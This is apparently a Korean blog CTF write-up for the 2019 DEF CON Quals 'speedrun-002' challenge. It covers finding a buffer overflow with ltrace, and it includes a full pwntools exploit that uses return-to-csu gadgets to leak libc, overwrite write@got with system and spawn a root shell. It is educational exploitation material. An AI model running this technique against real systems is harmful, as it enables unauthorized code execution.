시작
안녕하세요 :D
주말 잘 보내고 계신가요!!
토요일을 하루 종일 speedrun-002와 보내게 되다니.. 쉽게 끝날 줄 알았는데 많은 것을 배웠네요ㅠㅠ
시작해볼까요?
Write UP
root@goorm:/tmp/DEFCON/speedrun/002# ./speedrun-002
We meet again on these pwning streets.
What say you now?
nonono
What a ho-hum thing to say.
Fare thee well.
pwning streets에서 또 만났대요. 입력을 받은 후 종료되는 프로그램입니다.
원래같았으면 BOF겠지!! 하면서 무작정 때렸을텐데, 이제부턴 ltrace
명령어를 통해 확실하게 짚고 넘어갈까 합니다
root@goorm:/tmp/DEFCON/speedrun/002# ltrace ./speedrun-002
setvbuf(0x7f52212e2400, 0, 2, 0) = 0
getenv("DEBUG") = nil
alarm(5) = 0
puts("We meet again on these pwning st"...We meet again on these pwning streets.
) = 39
puts("What say you now?"What say you now?
) = 18
read(0nonono
, "nonono\n", 300) = 7
strncmp("nonono\n", "Everything intelligent is so bor"..., 36) = 41
puts("What a ho-hum thing to say."What a ho-hum thing to say.
) = 28
puts("Fare thee well."Fare thee well.
) = 16
이런 일이 일어나기 때문이죠ㅠㅠ 한참 삽질했습니다.
strncmp()
로 문자열을 비교하는 부분이 있네요. strings
명령어로 무슨 문자열인지 확인해보겠습니다.
root@goorm:/tmp/DEFCON/speedrun/002# strings ./speedrun-002 | grep "Everything intelligent"
Everything intelligent is so boring.
저걸 그대로 줘볼까요?
root@goorm:/tmp/DEFCON/speedrun/002# ltrace ./speedrun-002
setvbuf(0x7f7027483400, 0, 2, 0) = 0
getenv("DEBUG") = nil
alarm(5) = 0
puts("We meet again on these pwning st"...We meet again on these pwning streets.
) = 39
puts("What say you now?"What say you now?
) = 18
read(0Everything intelligent is so boring.
, "Everything intelligent is so bor"..., 300) = 37
strncmp("Everything intelligent is so bor"..., "Everything intelligent is so bor"..., 36) = 0
puts("What an interesting thing to say"...What an interesting thing to say.
Tell me more.
) = 48
read(0nonono
, "nonono\n", 2010) = 7
write(1, "Fascinating.\n", 13Fascinating.
) = 13
puts("Fare thee well."Fare thee well.
) = 16
+++ exited (status 0) +++
이제야 뭔가 BOF같은 BOF 입력 구문이 나왔습니다.
느낌 상 speedrun-001과 비슷하게 ROP gadget을 모아서 터뜨리면 될 것 같네요.
가젯을 찾아보죠!!
root@goorm:/tmp/DEFCON/speedrun/002# rp-lin-x64 -f ./speedrun-002 -r 1 | grep "pop rax ; ret"
root@goorm:/tmp/DEFCON/speedrun/002#
.. 가젯이 없네요. rsi랑 syscall 가젯도 없었습니다.
ROP에서 가젯은 함수를 연속적으로 호출하기 위한 필수 요소입니다.
이 문제와 같이 가젯이 부족할 때 사용할 수 있는 기법이 return to csu에요.
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <setvbuf@plt+0x290>
400896: 48 83 c4 08 add rsp,0x8
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
__libc_csu_init
영역에서 다음과 같은 코드를 찾는 것입니다.
400896: 48 83 c4 08 add rsp,0x8
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
Stage 0, 이 부분에서 레지스터에 값을 넣어주고
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <setvbuf@plt+0x290>
Stage 1, 그 값들을 edi, rsi, rdx로 옮긴 후 r12 + rbx * 8을 call합니다.
보시다시피 Stage 0과 1이 이어져있기 때문에 jmp 구문만 넘어간다면 연속적으로 함수 호출이 가능하죠.
이걸 활용해서 Exploit 해보겠습니다.
root@goorm:/tmp/DEFCON/speedrun/002# objdump -M intel -d ./speedrun-002
.
.
0000000000400600 <.text>:
.
.
400880: 4c 89 fa mov rdx,r15
400883: 4c 89 f6 mov rsi,r14
400886: 44 89 ef mov edi,r13d
400889: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40088d: 48 83 c3 01 add rbx,0x1
400891: 48 39 dd cmp rbp,rbx
400894: 75 ea jne 400880 <setvbuf@plt+0x290>
400896: 48 83 c4 08 add rsp,0x8
40089a: 5b pop rbx
40089b: 5d pop rbp
40089c: 41 5c pop r12
40089e: 41 5d pop r13
4008a0: 41 5e pop r14
4008a2: 41 5f pop r15
4008a4: c3 ret
4008a5: 90 nop
4008a6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
4008ad: 00 00 00
4008b0: f3 c3 repz ret
Disassembly of section .fini:
00000000004008b4 <.fini>:
4008b4: 48 83 ec 08 sub rsp,0x8
4008b8: 48 83 c4 08 add rsp,0x8
4008bc: c3 ret
이 파일은 .text 영역에 쓸만한 코드가 보이네요.
1. csu_stage_0 = 0x400896
2. csu_stage_1 = 0x400880
두 가젯을 구했습니다.
Exploit 시나리오는 다음과 같아요.
1. write@got를 leak
2. read()로 write@got overwrite
3. 바뀐 write() 호출, 쉘 획득
exploit.py
를 간단하게 짰습니다.
#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
e = ELF("./speedrun-002")
l = e.libc
p = process(e.path)
p.recvuntil("now?\n")
p.send("Everything intelligent is so boring.")
p.recvuntil("more.\n")
csu_stage_0 = 0x400896
csu_stage_1 = 0x400880
payload = ""
#BUF + SFP
payload += "A" * 1032
#RET
payload += p64(csu_stage_0)
#CSU Chaining
payload += "B" * 8 #add rsp, 8
payload += p64(0) #pop rbx
payload += p64(1) #pop rbp
payload += p64(e.got["write"]) #pop r12, call func
payload += p64(1) #pop r13 (=edi)
payload += p64(e.got["write"]) #pop r14 (=rsi)
payload += p64(8) #pop r15 (=rdx)
payload += p64(csu_stage_1) #JUMP to stage 1, write(1, write@got, 8)
payload += "B" * 8 #add rsp, 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(0)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(csu_stage_1) #read(0, write@got, 8), GOT overwirte
payload += "B" * 8 #add rsp, 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(0)
payload += p64(e.bss())
payload += p64(len("/bin/sh\x00"))
payload += p64(csu_stage_1) #read(0, .bss, len("/bin/sh\x00"))
payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["write"]) #system
payload += p64(e.bss())
payload += p64(0)
payload += p64(0)
payload += p64(csu_stage_1) #system("/bin/sh")
p.send(payload)
p.recvuntil("Fascinating.\n")
libc_write = u64(p.recv(8).ljust(8, "\x00"))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]
p.send(p64(libc_system))
p.send("/bin/sh\x00")
p.interactive()
root@goorm:/tmp/DEFCON/speedrun/002# ./exploit.py
[*] '/tmp/DEFCON/speedrun/002/speedrun-002'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/tmp/DEFCON/speedrun/002/speedrun-002': pid 1674
[*] Switching to interactive mode
$ whoami
root
Exploit!!
마무리
처음 들었을 떈 진짜 무슨 소린지 하나도 모르겠었는데
하루 종일 보다 보니 친해졌네요 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
많은 것을 배운 것 같아서 뿌듯합니다. 특히 pwntools에서 e.got[“write”]랑 l.symbols[“write”]같은 사기적인 기능이 있었다니..
이제 offset 구하려고 삽질 안해도 될 것 같습니다 ㅠㅠ!!!
DefCon 문제 2개 풀었네요 ㅎㅎ 감사합니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
---|---|
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |
[2019 DefCon Quals] speedrun-001 (0) | 2019.05.23 |
[Plaid CTF 2013 - ropasaurusrex] rop 공룡 (0) | 2019.05.15 |
BOF : FTZ-무임승차 문제 분석 (0) | 2019.04.13 |